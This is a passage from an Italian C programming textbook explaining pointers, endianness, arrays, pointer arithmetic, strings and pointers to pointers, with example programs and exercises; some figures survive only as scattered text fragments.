…
```

Nello schema seguente appare un esempio che dovrebbe consentire di comprendere la differenza che c'è tra i puntatori, in base al tipo di dati a cui fanno riferimento. In particolare, ***p1***, ***q1*** e ***r1*** fanno tutti riferimento all'indirizzo ipotetico $0AFC_{16}$, ma l'area di memoria che considerano è diversa, pertanto ****p1***, ****q1*** e ****r1*** sono tra loro «variabili» differenti, anche se si sovrappongono parzialmente.

li si c

indirizzi di memoria ipotetici

0AFC	0AFD	0AFE	0AFF	0B00	0B001	0B002

*p1 *p2 *p3

*q1 *q2

*r1

long int li;
short int si;
char c;

long int *p1 = &li;
short int *p2 = &si;
char *p3 = &c;

short int *q1 = (short int *) &li;
char *q2 = (char *) &si;

char * r1 = (char *) &li;

L'esempio seguente rappresenta un programma completo che ha lo scopo di determinare se l'architettura dell'elaboratore è di tipo *big endian* o di tipo *little endian*. Per capirlo si dichiara una variabile di tipo '**`long int`**' che si intende debba essere di rango superiore rispetto al tipo '**`char`**', assegnandole un valore abbastanza basso da poter essere rappresentato anche in un tipo '**`char`**' senza segno. Con un puntatore di tipo '**`char *`**' si vuole accedere all'inizio della variabile contenente il numero intero '**`long int`**': se già nella porzione letta attraverso il puntatore al primo «carattere» si trova il valore assegnato alla variabile di tipo intero, vuol dire che i byte sono invertiti e si ha un'architettura *little endian*, mentre diversamente si presume che sia un'architettura *big endian*.

```
#include <stdio.h>
int main (void)
{
    long int i = 123;
    char *p = (char *) &i;
    if (*p == 123)
      {
        printf ("little endian\n");
      }
    else
      {
        printf ("big endian\n");
      }
    getchar ();
    return 0;
}
```

Figura 93.14. Schematizzazione dell'operato del programma di esempio, per determinare l'ordine dei byte usato nella propria architettura.

architettura little endian

i 01111011 00000000 00000000 00000000

*p 01111011

*p == 123

architettura big endian

i 00000000 00000000 00000000 01111011

*p 00000000

*p == 0

```
long int i = 123;
char *p = (char *) &i;
```

93.5.1 Esercizio

La figura successiva mostra una mappa ipotetica di memoria, con indirizzi che vanno da 00_{16} a FF_{16}, in cui sono evidenziate delle variabili scalari comuni e delle variabili puntatore. Ogni cella di memoria corrisponde a un byte e si presume che l'architettura del microprocessore preveda un accesso in modalità *big endian* (quello più semplice dal punto di vista umano). Si vuole conoscere il contenuto delle variabili scalari normali e quello rappresentato dai puntatori dereferenziati, con l'aiuto di alcuni suggerimenti.

Variabile o puntatore dereferenziato	Contenuto
a	$4369616F_{16}$
b	
c	
d	
****i***	$4369616F_{16}$
****j***	
****k***	$72652E00_{16}$
****l***	
****m***	
****n***	
****o***	
****p***	

93.6 Chiamata di funzione con puntatori

Il linguaggio C utilizza il passaggio degli argomenti alle funzioni per valore, per cui, anche se gli argomenti sono indicati in qualità di variabili, le modifiche ai valori rispettivi apportati nel codice delle funzioni non si riflettono sul contenuto delle variabili originali; per farlo, occorre usare invece argomenti costituiti da puntatori.

Si immagini di volere realizzare una funzione banale che modifica la variabile utilizzata nella chiamata, sommandovi una quantità fissa. Invece di passare il valore della variabile da modificare, si può passare il suo puntatore; in questo modo la funzione (che comunque deve essere stata realizzata appositamente per questo scopo) agisce nell'area di memoria a cui punta il proprio parametro.

```
#include <stdio.h>
void funzione (int *x)
{
    (*x)++;
}
int main (void)
{
    int y = 10;
    funzione (&y);
    printf ("y = %i\n", y);
    getchar ();
    return 0;
}
```

L'esempio mostra la dichiarazione e descrizione di una funzione che non restituisce alcun valore e ha un parametro costituito da un puntatore a un intero. Il lavoro della funzione è solo quello di incrementare il valore contenuto nell'area di memoria a cui si riferisce tale puntatore.

Poco dopo, nella funzione ***main()*** inizia il programma vero e proprio; viene dichiarata la variabile ***y*** corrispondente a un intero normale inizializzato a 10, poi viene chiamata la funzione vista prima, passando il puntatore a ***y***.

Il risultato è che dopo la chiamata, la variabile ***y*** contiene il valore precedente incrementato di un'unità, ovvero 11.

93.6.1 Esercizio

Si prenda in considerazione il programma successivo e si scriva il valore contenuto nelle tre variabili ***i***, ***j*** e ***k***, così come rappresentato dalla funzione ***printf()***.

```
#include <stdio.h>
int f (int *x, int y)
{
    return ((*x)++ + y);
}
int main (void)
{
    int i = 1;
    int j = 2;
    int k;
    k = f (&i, j);
    printf ("i=%i, j=%i, k=%i\n", i, j, k);
    getchar ();
    return 0;
}
```

93.6.2 Esercizio

Si modifichi il programma dell'esercizio precedente, creando nella funzione ***main()*** la variabile ***l***, in qualità di puntatore a un intero, assegnando a questa variabile il puntatore dell'area di memoria rappresentata da ***i***, usando poi la variabile ***l*** nella chiamata della funzione ***f()***.

93.7 Array

Nel linguaggio C, l'array è una sequenza ordinata di elementi dello stesso tipo nella rappresentazione ideale di memoria di cui si dispone. Quando si dichiara un array, quello che il programmatore ottiene in pratica è il riferimento alla posizione iniziale di questo, mentre gli elementi successivi si raggiungono tenendo conto della lunghezza di ogni elemento.

È compito del programmatore ricordare la quantità di elementi che compone l'array, perché determinarlo diversamente è complicato e a volte non è possibile. Inoltre, quando un programma tenta di accedere a una posizione oltre il limite degli elementi esistenti, c'è il rischio che non si manifesti alcun errore, arrivando però a dei risultati imprevedibili.

93.8 Array a una dimensione

La dichiarazione di un array avviene in modo intuitivo, definendo il tipo degli elementi e la loro quantità. L'esempio seguente mostra la dichiarazione dell'array ***a*** di sette elementi di tipo '**`int`**':

```
int a[7];
```

Per accedere agli elementi dell'array si utilizza un indice, il cui valore iniziale è sempre zero e, di conseguenza, quello con cui si raggiunge l'elemento ***n***-esimo deve avere il valore $n-1$. L'esempio seguente mostra l'assegnamento del valore 123 al **secondo** elemento:

```
a[1] = 123;
```

In presenza di array monodimensionali che hanno una quantità ridotta di elementi, può essere sensato attribuire un insieme di valori iniziale all'atto della dichiarazione.

```
int a[] = {123, 453, 2, 67};
```

L'esempio mostrato dovrebbe chiarire in che modo si possono dichiarare gli elementi dell'array, tra parentesi graffe, togliendo così la necessità di specificare la quantità di elementi. Tuttavia, le due cose possono coesistere, purché siano compatibili:

```
int a[10] = {123, 453, 2, 67};
```

In tal caso, l'array si compone di 10 elementi, di cui i primi quattro con valori prestabiliti, mentre gli altri ottengono il valore zero. Si osservi però che il contrario non può essere fatto:

```
int a[5] = {123, 453, 2, 67, 32, 56, 78};     // Non si può!
```

La scansione di un array avviene generalmente attraverso un'iterazione enumerativa, in pratica con un ciclo '**for**' che si presta particolarmente per questo scopo. Si osservi l'esempio seguente:

```
int a[7];
int i;
…
for (i = 0; i < 7; i++)
  {
    …
    a[i] = …;
    …
  }
```

L'indice ***i*** viene inizializzato a zero, in modo da cominciare dal primo elemento dell'array; il ciclo può continuare fino a che ***i*** continua a essere inferiore a sette, infatti l'ultimo elemento dell'array ha indice sei; alla fine di ogni ciclo, prima che riprenda il successivo, viene incrementato l'indice di un'unità.

Per scandire un array in senso opposto, si può agire in modo analogo, come nell'esempio seguente:

```
int a[7];
int i;
…
for (i = 6; i >= 0; i--)
  {
    …
    a[i] = …;
    …
  }
```

Questa volta l'indice viene inizializzato in modo da puntare alla posizione finale; il ciclo viene ripetuto fino a che l'indice è maggiore o uguale a zero; alla fine di ogni ciclo, l'indice viene decrementato di un'unità.

93.8.1 Esercizio

Si completi la tabella successiva con il codice necessario a creare gli array richiesti.

Richiesta	Codice
Si vuole creare l'array ***a[]*** di 11 elementi di tipo intero senza segno.	
Si vuole creare l'array ***b[]*** di 3 elementi di tipo intero normale, contenente i valori 2, 7 e 123.	
Si vuole creare l'array ***c[]*** di 7 elementi di tipo intero normale, contenente inizialmente i valori 2, 7 e 123.	

93.8.2 Esercizio

Completare il codice successivo, in cui si dichiara un array e lo si popola successivamente con i primi valori numerici interi, a partire da uno.

```
...
int a[5];
int i;
...
for (i =          ; i          ; i          )
  {
    a[i] =                ;
  }
...
```

Dopo il ciclo '**`for`**', si vuole che l'array contenga la sequenza dei numeri: 1, 2, 3,... 5.

93.8.3 Esercizio

Si vuole ottenere lo stesso risultato dell'esercizio precedente, ma in questo caso viene posto un vincolo nel codice, in cui si vede che l'indice ***i*** viene decrementato nel ciclo '**`for`**'.

```
...
int a[5];
int i;
...
for (i =          ; i          ; i--)
  {
    a[i] =                ;
  }
...
```

Che valore ha la variabile ***i***, al termine del ciclo '**`for`**'?

93.9 Array multidimensionali

Gli array in C sono monodimensionali, però nulla vieta di creare un array i cui elementi siano array tutti uguali. Per esempio, nel modo seguente, si dichiara un array di cinque elementi che a loro volta sono insiemi di sette elementi di tipo '**int**'. Nello stesso modo si possono definire array con più di due dimensioni.

```
int a[5][7];
```

L'esempio seguente mostra il modo normale di scandire un array a due dimensioni:

```
int a[5][7];
int i;
int j;
...
for (i = 0; i < 5; i++)
  {
    ...
    for  (j = 0; j < 7; j++)
      {
        ...
        a[i][j] = ...;
        ...
      }
    ...
  }
```

Anche se in pratica un array a più dimensioni è solo un array «normale» in cui si individuano dei sottogruppi di elementi, la scansione deve avvenire sempre indicando formalmente lo stesso numero di elementi prestabiliti per le dimensioni rispettive, anche se dovrebbe essere possibile attuare qualche trucco. Per esempio, tornando al listato mostrato, se si vuole scandire in modo continuo l'array, ma usando un solo indice, bisogna farlo gestendo l'ultimo:

```
int a[5][7][9];
int j;
...
for (j = 0; j < (5 * 7 * 9); j++)
  {
    ...
    a[0][0][j] = ...;
    ...
  }
```

Rimane comunque da osservare il fatto che questo non sia un bel modo di programmare.

Anche gli array a più dimensioni possono essere inizializzati, secondo una modalità analoga a quella usata per una sola dimensione, con la differenza che l'informazione sulla quantità di elementi per dimensione non può essere omessa. L'esempio seguente è un programma completo, in cui si dichiara e inizializza un array a due dimensioni, per poi mostrarne il contenuto:

```
#include <stdio.h>

int main (void)
{
  int a[3][4] = {{1,  2,  3,  4},
                 {5,  6,  7,  8},
                 {9, 10, 11, 12}};
  int i, j;

  for (i = 0; i < 3; i++)
    {
      for (j = 0; j < 4; j++)
        {
          printf ("a[%i][%i]=%i\t", i, j, a[i][j]);
        }
      printf ("\n");
    }

  getchar ();
  return 0;
}
```

Il programma dovrebbe mostrare il testo seguente:

```
a[0][0]=1       a[0][1]=2       a[0][2]=3       a[0][3]=4
a[1][0]=5       a[1][1]=6       a[1][2]=7       a[1][3]=8
a[2][0]=9       a[2][1]=10      a[2][2]=11      a[2][3]=12
```

Anche nell'inizializzazione di un array a più dimensioni si possono omettere degli elementi, come nell'estratto seguente:

```
…
  int a[3][4] = {{1, 2},
                 {5, 6, 7, 8}};
…
```

In tal caso, il programma si mostrerebbe così:

```
a[0][0]=1       a[0][1]=2       a[0][2]=0       a[0][3]=0
a[1][0]=5       a[1][1]=6       a[1][2]=7       a[1][3]=8
a[2][0]=0       a[2][1]=0       a[2][2]=0       a[2][3]=0
```

Di certo, pur sapendo di voler utilizzare un array a più dimensioni, si potrebbe pretendere di inizializzarlo come se fosse a una sola, come nell'esempio seguente, ma il compilatore dovrebbe avvisare del fatto:

```
…
  int a[3][4] = {1, 2, 3, 4, 5, 6,            // Così non è
                 7, 8, 9, 10, 11, 12};        // grazioso.
…
```

93.9.1 Esercizio

Si completi la tabella successiva con il codice necessario a creare gli array richiesti.

Richiesta	Codice
Si vuole creare l'array ***a[]*** di 11×7 elementi di tipo intero senza segno.	
Si vuole creare l'array ***b[]*** di 3×2 elementi di tipo intero normale, contenente i valori {2, 7}, {5, 11} e {100, 123}.	
Si vuole creare l'array ***c[]*** di 7×2 elementi di tipo intero normale, contenente i valori {2, 7} e {5, 11}.	

93.9.2 Esercizio

Completare il codice successivo, in cui si dichiara un array e lo si popola successivamente con i primi valori numerici interi, a partire da uno.

```
…
int a[5][7];
int i;
int j;
…
for (i =          ; i          ; i           )
  {
    for (j =          ; j          ; j           )
      {
        a[i][j] =                ;
      }
  }
…
```

Dopo il ciclo '**`for`**', si vuole che l'array contenga la sequenza dei numeri: 1, 2, 3,... 35, cominciando dall'elemento ***a[0][0]***, per finire con l'elemento ***a[4][6]***.

93.9.3 Esercizio

Si vuole ottenere lo stesso risultato dell'esercizio precedente, ma in questo caso viene posto un vincolo nel codice, in cui si vede che gli indici *i* e *j* vengono decrementati nel ciclo '**for**' rispettivo.

```
...
int a[5][7];
int i;
int j;
...
for (i =          ; i          ; i--)
  {
    for (j =          ; j          ; j--)
      {
        a[i][j] =                  ;
      }
  }
...
```

93.10 Natura dell'array

Quando si crea un array, quello che viene restituito in pratica è un puntatore alla sua posizione iniziale, ovvero all'indirizzo del primo elemento di questo. Si può intuire che non sia possibile assegnare a un array un altro array, anche se ciò potrebbe avere significato. Al massimo si può copiare il contenuto, elemento per elemento.

Per evitare errori del programmatore, la variabile che contiene l'indirizzo iniziale dell'array, quella che in pratica rappresenta l'array stesso, è in **sola lettura**. Quindi, nel caso dell'array già visto, la variabile ***a*** non può essere modificata, mentre i singoli elementi ***a[i]*** sì:

```
int a[7];
```

Data la filosofia del linguaggio C, se fosse possibile assegnare un valore alla variabile ***a***, si modificherebbe il puntatore, facendo in modo che questo punti a un array differente. Ma per raggiungere questo risultato vanno usati i puntatori in modo esplicito. Si osservi l'esempio seguente:

```
#include <stdio.h>

int main (void)
{
  int a[3];
  int *p;

  p = a;          // «p» diventa un alias dell'array «a».

  p[0] = 10;      // Si può fare solo con gli array
  p[1] = 100;     // a una sola dimensione.
  p[2] = 1000;    //

  printf ("%i %i %i \n",  a[0], a[1], a[2]);

  getchar ();
  return 0;
}
```

Viene creato un array, ***a***, di tre elementi di tipo '**`int`**', e subito dopo una variabile puntatore, ***p***, al tipo '**`int`**'. Si assegna quindi alla variabile ***p*** il puntatore rappresentato da ***a***; da quel momento si può fare riferimento all'array indifferentemente con il nome ***a*** o ***p***.

Si può osservare anche che l'operatore '**`&`**', seguito dal nome di un array, produce ugualmente l'indirizzo dell'array che è equivalente a quello fornito senza l'operatore stesso, con la differenza che riguarda l'array nel suo complesso:

```
  ...
  p = &a;        // I due puntatori non sono dello stesso tipo!
  ...
```

Pertanto, in questo caso si pone il problema di compatibilità del tipo di puntatore che si può risolvere con un cast esplicito:

```
  ...
  p = (int *) &a;        // «p» diventa un alias dell'array «a».
  ...
```

In modo analogo, si può estrapolare l'indice che rappresenta l'array dal primo elemento, cosa che si ottiene senza incorrere in problemi di compatibilità tra i puntatori. Si veda la trasformazione dell'esempio nel modo seguente:

```
#include <stdio.h>

int main (void)
{
  int a[3];
  int *p;

  p = &a[0];     // «p» diventa un alias dell'array «a».

  p[0] = 10;     // Si può fare solo con gli array
  p[1] = 100;    // a una sola dimensione.
  p[2] = 1000;   //

  printf ("%i %i %i \n",  a[0], a[1], a[2]);

  getchar ();
  return 0;
}
```

Anche se si può usare un puntatore come se fosse un array, va osservato che la variabile ***p***, in quanto dichiarata come puntatore, viene considerata in modo differente dal compilatore.

Quando si opera con array a più dimensioni, il riferimento a una porzione di array restituisce l'indirizzo della porzione considerata. Per esempio, si supponga di avere dichiarato un array a due dimensioni, nel modo seguente:

```
int a[3][2];
```

Se a un certo punto, in riferimento allo stesso array, si scrivesse '**`a[2]`**', si otterrebbe l'indirizzo del terzo gruppo di due interi:

a
a[0]
&a[0][0]
a[2]
&a[2][0]
a[0][0] a[0][1] a[1][0] a[1][1] a[2][0] a[2][1]

Tenendo d'occhio lo schema appena mostrato, considerato che si sta facendo riferimento all'array ***a*** di 3×2 elementi di tipo '**`int`**', va osservato che:

- in condizioni normali '**`a`**' si traduce nel puntatore a un array di due elementi di tipo '**`int`**';
- '**`a[0]`**' e '**`&a[0][0]`**' si traducono nel puntatore a un elemento di tipo '**`int`**' (precisamente il primo);
- '**`&a`**' si traduce nel puntatore a un array composto da 3×2 elementi di tipo '**`int`**'.

Pertanto, se questa volta si volesse assegnare a una variabile puntatore di tipo '**`int *`**' l'indirizzo iniziale dell'array, nell'esempio seguente si creerebbe un problema di compatibilità:

```
...
int a[3][2];
int *p;
p = a;      // I due puntatori non sono dello stesso tipo!
...
```

Pertanto, occorrerebbe riferirsi all'inizio dell'array in modo differente oppure attraverso un cast.

93.10.1 Esercizio

Il codice che appare nella tabella successiva, contiene dei problemi. Si spieghi perché.

Codice problematico	Spiegazione

`signed   int a[7];`
`unsigned int b[8];`
`...`
`a = b;`	

`int a[7][5];`
`long int *b;`
`...`
`b = a;`	

`int a[7][5];`
`int *b;`
`...`
`b = &a[3];`	

93.10.2 Esercizio

Da un array viene estrapolato il puntatore, del suo inizio o di una posizione interna, e con quello si fanno delle modifiche al contenuto. Indicare dove avvengono le modifiche.

Codice	Richiesta

`int a[7][5];`
`int *p;`
`...`
`p = (int *) a;`
`p[7] = 123;`
	L'ultima istruzione evidenziata, modifica un elemento dell'array ***a[][]***; quale?

`int a[7][5];`
`int *p;`
`...`
`p = (int *) &a[1];`
`*p = 123;`
	L'ultima istruzione evidenziata, modifica un elemento dell'array ***a[][]***; quale?

Codice	Richiesta

`int a[7][5];`
`int *p;`
`...`
`p = (int *) a;`
`p[35] = 123;`
	L'ultima istruzione evidenziata, modifica il contenuto dell'array ***a[][]***? Cosa fa invece?

93.11 Array e funzioni

Le funzioni possono accettare solo parametri composti da tipi di dati elementari, compresi i puntatori. In questa situazione, l'unico modo per trasmettere a una funzione un array attraverso i parametri, è quello di inviarne il puntatore iniziale. Di conseguenza, le modifiche che vengono poi apportate da parte della funzione si riflettono nell'array di origine. Si osservi l'esempio seguente:

```
#include <stdio.h>

void elabora (int *p)
{
  p[0] = 10;
  p[1] = 100;
  p[2] = 1000;
}

int main (void)
{
  int a[3];

  elabora (a);
  printf ("%i %i %i \n",  a[0], a[1], a[2]);

  getchar ();
  return 0;
}
```

La funzione ***elabora()*** utilizza un solo parametro, rappresentato da un puntatore a un tipo '**`int`**'. La funzione **presume** che il puntatore si riferisca all'inizio di un array di interi e così assegna alcuni valori ai primi tre elementi.

All'interno della funzione ***main()*** viene dichiarato l'array ***a*** di tre elementi interi e subito dopo viene passato come argomento alla funzione ***elabora()***. Così facendo, in realtà si passa il puntatore al primo elemento dell'array.

Infine, la funzione altera gli elementi come è già stato descritto e gli effetti si possono osservare così:

```
10 100 1000
```

L'esempio potrebbe essere modificato per presentare la gestione dell'array in modo più elegante. Per la precisione si tratta di ritoccare la funzione '**elabora**':

```
void elabora (int a[])
{
    a[0] = 10;
    a[1] = 100;
    a[2] = 1000;
}
```

Si tratta sostanzialmente della stessa cosa, solo che si pone l'accento sul fatto che l'argomento è un array di interi, benché di tipo incompleto.

93.12 Aritmetica dei puntatori

Con le variabili puntatore è possibile eseguire delle operazioni elementari: possono essere incrementate e decrementate. Il risultato che si ottiene è il riferimento a una zona di memoria adiacente, in funzione della dimensione del tipo di dati per il quale è stato creato il puntatore. Si osservi l'esempio seguente:

```
int i = 10;
int j;
int *p = &i;
p++;
j = *p;          // Attenzione!
```

In questo caso viene creato un puntatore al tipo '**int**' che inizialmente contiene l'indirizzo della variabile ***i***. Subito dopo questo puntatore viene incrementato di una unità e ciò comporta che si riferisca a un'area di memoria adiacente, immediatamente successiva a quella occupata dalla variabile ***i*** (molto probabilmente si tratta dell'area occupata dalla variabile ***j***). Quindi si tenta di copiare il valore di tale area di memoria, interpretato come '**int**', all'interno della variabile ***j***.

Se un programma del genere funziona nell'ambito di un sistema operativo che controlla l'utilizzo della memoria, se l'area che si tenta di raggiungere incrementando il puntatore non è stata allocata, si ottiene un «errore di segmentazione» e l'arresto del programma stesso. L'errore si verifica quando si tenta l'accesso, mentre la modifica del puntatore è sempre lecita.

Lo stesso meccanismo riguarda tutti i tipi di dati che non sono array, perché per gli array, l'incremento o il decremento di un puntatore riguarda i componenti dell'array stesso. In pratica, quando si gestiscono tramite puntatori, gli array sono da intendere come una serie di elementi dello stesso tipo e dimensione, dove, nella maggior parte dei casi, il nome dell'array si traduce nell'indirizzo del primo elemento:

```
int i[3] = { 1, 3, 5 };
int *p;
...
p = i;
```

Nell'esempio si vede che il puntatore ***p*** punta all'inizio dell'array di interi ***i[]***.

```
*p = 10; // Equivale a:  i[0] = 10.
p++;
*p = 30; // Equivale a:  i[1] = 30.
p++;
*p = 50; // Equivale a:  i[2] = 50.
```

Ecco che, incrementando il puntatore, si accede all'elemento adiacente successivo, in funzione della dimensione del tipo di dati. Decrementando il puntatore si ottiene l'effetto opposto, di accedere all'elemento precedente. La stessa cosa avrebbe potuto essere ottenuta così, senza alterare il valore contenuto nella variabile ***p***:

```
*(p + 0) = 10; // Equivale a:  i[0] = 10.
*(p + 1) = 30; // Equivale a:  i[1] = 30.
*(p + 2) = 50; // Equivale a:  i[2] = 50.
```

Inoltre, come già visto in altre sezioni, si potrebbe usare il puntatore con la stessa notazione propria dell'array, ma ciò solo perché si opera a una sola dimensione:

```
p[0] = 10; // Equivale a:  i[0] = 10.
p[1] = 30; // Equivale a:  i[1] = 30.
p[2] = 50; // Equivale a:  i[2] = 50.
```

93.12.1 Esercizio

Da un array viene estrapolato il puntatore, del suo inizio o di una posizione interna, e con quello si fanno delle cose. Rispondere alle domande a fianco del codice mostrato.

Codice	Richiesta

`int a[7][5];`
`int *p;`
`…`
`p = (int *) a;`
`p += 7;`
`*p = 123;`
	Attraverso la variabile puntatore ***p*** viene modificato un elemento dell'array ***a[][]***; quale?

`int a[7][5];`
`int *p;`
`…`
`p = (int *) &a[1];`
`*(p+7) = 123;`
	Attraverso la variabile puntatore ***p*** viene modificato un elemento dell'array ***a[][]***; quale?
	Che differenza c'è rispetto al caso precedente?

`int a[7][5];`
`int *p;`
`int i;`
`…`
`p = (int *) a;`
`for (i = 0 ; i < 35 ; i++, p++)`
`  {`
`    *p = i;`
`  }`
	Cosa succede al contenuto dell'array ***a[][]***?
	Al termine del ciclo '`for`', a cosa punta la variabile puntatore ***p***?

93.13 Stringhe

Le stringhe, nel linguaggio C, non sono un tipo di dati a sé stante; si tratta solo di array di caratteri con una particolarità: l'ultimo carattere è sempre zero, ovvero una sequenza di bit a zero, che si rappresenta simbolicamente come carattere con '**\0**'. In questo modo, si evita di dover accompagnare le stringhe con l'informazione della loro lunghezza.

Pertanto, va osservato che una stringa è sempre un array di caratteri, ma un array di caratteri non è necessariamente una stringa, in quanto per esserlo occorre che l'ultimo elemento sia il carattere '**\0**'. Seguono alcuni esempi che servono a comprendere questa distinzione.

```
char c[20];
```

L'esempio mostra la dichiarazione di un array di caratteri, senza specificare il suo contenuto. Per il momento non si può parlare di stringa, soprattutto perché per essere tale, la stringa deve contenere dei caratteri.

```
char c[] = {'c', 'i', 'a', 'o'};
```

Questo esempio mostra la dichiarazione di un array di quattro caratteri. All'interno delle parentesi quadre non è stata specificata la dimensione perché questa si determina dall'inizializzazione. Anche in questo caso non si può ancora parlare di stringa, perché manca la terminazione.

```
char z[] = {'c', 'i', 'a', 'o', '\0'};
```

Questo esempio mostra la dichiarazione di un array di cinque caratteri corrispondente a una stringa vera e propria. L'esempio seguente è tecnicamente equivalente, solo che utilizza una rappresentazione più semplice:

```
char z[] = "ciao";
```

Pertanto, la stringa rappresentata dalla costante '**"ciao"**' è un array di cinque caratteri, perché, pur senza mostrarlo, include implicitamente anche la terminazione.

L'indicazione letterale di una stringa può avvenire attraverso sequenze separate, senza l'indicazione di alcun operatore di concatenamento. Per esempio, '**"ciao amore\n"**' è perfettamente uguale a '**"ciao " "amore" "\n"**' che viene inteso come una costante unica.

In un sorgente C ci sono varie occasioni di utilizzare delle stringhe letterali (delimitate attraverso gli apici doppi), senza la necessità di dichiarare l'array corrispondente. Però è importante tenere presente la natura delle stringhe per sapere come comportarsi con loro. Per prima cosa, bisogna rammentare che la stringa, anche se espressa in forma letterale, è un array di caratteri; come tale restituisce semplicemente il puntatore del primo di questi caratteri (salvo le stesse eccezioni che riguardano tutti i tipi di array).

```
char *p;
...
p = "ciao";
...
```

L'esempio mostra il senso di quanto affermato: non esistendo un tipo di dati «stringa», si può assegnare una stringa solo a un puntatore al tipo '**char**' (ovvero a una variabile di tipo '**char ***'). L'esempio seguente non è valido, perché non si può assegnare un valore alla variabile che rappresenta un array, dal momento che il puntatore relativo è un valore costante:

```
char z[];
…
z = "ciao";      // Non si può.
…
```

Quando si utilizza una stringa tra gli argomenti della chiamata di una funzione, questa riceve il puntatore all'inizio della stringa. In pratica, si ripete la stessa situazione già vista per gli array in generale.

```
#include <stdio.h>

void elabora (char *z)
{
  printf (z);
}

int main (void)
{
  elabora ("ciao\n");
  getchar ();
  return 0;
}
```

L'esempio mostra una funzione banale che si occupa semplicemente di emettere la stringa ricevuta come parametro, utilizzando ***printf()***. La variabile utilizzata per ricevere la stringa è stata dichiarata come puntatore al tipo '**char**' (ovvero come puntatore di tipo '**char ***'), poi tale puntatore è stato utilizzato come argomento per la chiamata della funzione ***printf()***. Volendo scrivere il codice in modo più elegante si potrebbe dichiarare apertamente la variabile ricevente come array di caratteri di dimensione indefinita. Il risultato è lo stesso.

```
#include <stdio.h>

void elabora (char z[])
{
  printf (z);
}

int main (void)
{
  elabora ("ciao\n");
  getchar ();
  return 0;
}
```

Tabella 93.67. Elenco dei modi di rappresentazione delle costanti carattere attraverso codici di escape.

Codice di escape	Descrizione
`\`***ooo***	Notazione ottale.
`\x`***hh***	Notazione esadecimale.
`\\`	Una singola barra obliqua inversa (‘\’).
`\'`	Un apice singolo destro.
`\"`	Un apice doppio.
`\?`	Un punto interrogativo. Si usa in quanto le sequenze *trigraph* sono formate da un prefisso di due punti interrogativi.
`\0`	Il codice *<NUL>*.
`\a`	Il codice *<BEL>* (*bell*).
`\b`	Il codice *<BS>* (*backspace*).
`\f`	Il codice *<FF>* (*formfeed*).
`\n`	Il codice *<LF>* (*linefeed*).
`\r`	Il codice *<CR>* (*carriage return*).
`\t`	Una tabulazione orizzontale (*<HT>*).
`\v`	Una tabulazione verticale (*<VT>*).

93.13.1 Esercizio

Cosa contengono gli array rappresentati nella tabella successiva? Sono stringhe?

Codice
`int a[] = {'a', 'm', 'o', 'r', 'e', '\n', '\0'};`
`int b[] = {'a', 'm', 'o', 'r', 'e', '\0'};`
`int c[] = {'a', 'm', 'o', 'r', 'e', '\n'};`
`int d[] = {'a', 'm', 'o', 'r', 'e'};`
`char e[] = {'a', 'm', 'o', 'r', 'e', '\n', '\0'};`
`char f[] = {'a', 'm', 'o', 'r', 'e', '\0'};`
`char g[] = {'a', 'm', 'o', 'r', 'e', '\n'};`
`char h[] = {'a', 'm', 'o', 'r', 'e'};`
`char i[] = {'a', 'm', 'o', 'r', 'e', '\0', 'm', 'i', 'o'};`

93.13.2 Esercizio

Rispondere alle domande a fianco del codice contenuto nella tabella successiva.

Codice	Richiesta

`…`
`char a[15];`
`…`
	Di cosa si tratta? Può essere una stringa?

`…`
`char b[15] = "ciao";`
`…`
	Di cosa si tratta? Può essere una stringa?

`…`
`char c[15] = "ciao";`
`…`
`c = "amore";`
	È lecito l'assegnamento evidenziato? Perché?

`…`
`char d[15] = "ciao";`
`char *`**`e = d;`**
`…`
	È lecito l'assegnamento evidenziato? Perché?

`…`
`char *f;`
`…`
`f = "ciao";`
	Dopo l'assegnamento, cos'è ***f***?

`…`
`char *g = "ciao"`
`…`
`g = "amore";`
	Dopo l'assegnamento, si può ancora fare riferimento alla stringa contenente la parola «ciao»? Che fine fa la memoria che la contiene?

`…`
`char *h = "ciao"`
`…`
`*h = 'C';`
	A cosa serve l'assegnamento finale? È possibile attuarlo?

`…`
`char *i = "ciao"`
`…`
`i++;`
	Al termine, cosa rappresenta ***i***?

93.14 Puntatori a puntatori

Una variabile puntatore potrebbe fare riferimento a un'area di memoria contenente a sua volta un puntatore per un'altra area. Per dichiarare una cosa del genere, si possono usare più asterischi, come nell'esempio seguente:

```
int i = 123;
int *p = &i;        // Puntatore al tipo "int".
int **pp = &p;      // Puntatore di puntatore al tipo "int".
int ***ppp = &pp;   // Puntatore di puntatore di puntatore al tipo "int".
```

Il risultato si potrebbe rappresentare graficamente come nello schema seguente:

int i = 123;
int *p = &i;
int **pp = &p;
int ***ppp = &pp;

123

i == *p

i == **pp

i == ***ppp

Per dimostrare in pratica il funzionamento di questo meccanismo di riferimenti successivi, si può provare con il programma seguente:

```
#include <stdio.h>
int main (void)
{
  int i = 123;
  int *p = &i;       // Puntatore al tipo "int".
  int **pp = &p;     // Puntatore di puntatore al tipo "int".
  int ***ppp = &pp;  // Puntatore di puntatore di puntatore al tipo "int".

  printf ("i, p, pp, ppp: %i, %u, %u, %u\n",
          i, (unsigned int) p, (unsigned int) pp, (unsigned int) ppp);

  printf ("i, p, pp, *ppp: %i, %u, %u, %u\n",
          i, (unsigned int) p, (unsigned int) pp, (unsigned int) *ppp);

  printf ("i, p, *pp, **ppp: %i, %u, %u, %u\n",
          i, (unsigned int) p, (unsigned int) *pp, (unsigned int) **ppp);

  printf ("i, *p, **pp, ***ppp: %i, %i, %i, %i\n",
          i, *p, **pp, ***ppp);

  getchar ();
  return 0;
}
```

Eseguendo il programma si dovrebbe ottenere un risultato simile a quello seguente, dove si può verificare l'effetto delle dereferenziazioni applicate alle variabili puntatore:

```
i, p, pp, ppp: 123, 3217933736, 3217933732, 3217933728
i, p, pp, *ppp: 123, 3217933736, 3217933732, 3217933732
i, p, *pp, **ppp: 123, 3217933736, 3217933736, 3217933736
i, *p, **pp, ***ppp: 123, 123, 123, 123
```

Pertanto si può ricostruire la disposizione in memoria delle variabili:

Come si può comprendere facilmente, la gestione di puntatori a puntatore è difficile e va usata con prudenza e solo quando ne esiste effettivamente l'utilità. Va notato anche che si ottiene la dereferenziazione (la traduzione di un puntatore nel contenuto di ciò a cui punta) usando la notazione tipica degli array, ma questo fatto viene descritto nella sezione successiva.

93.14.1 Esercizio

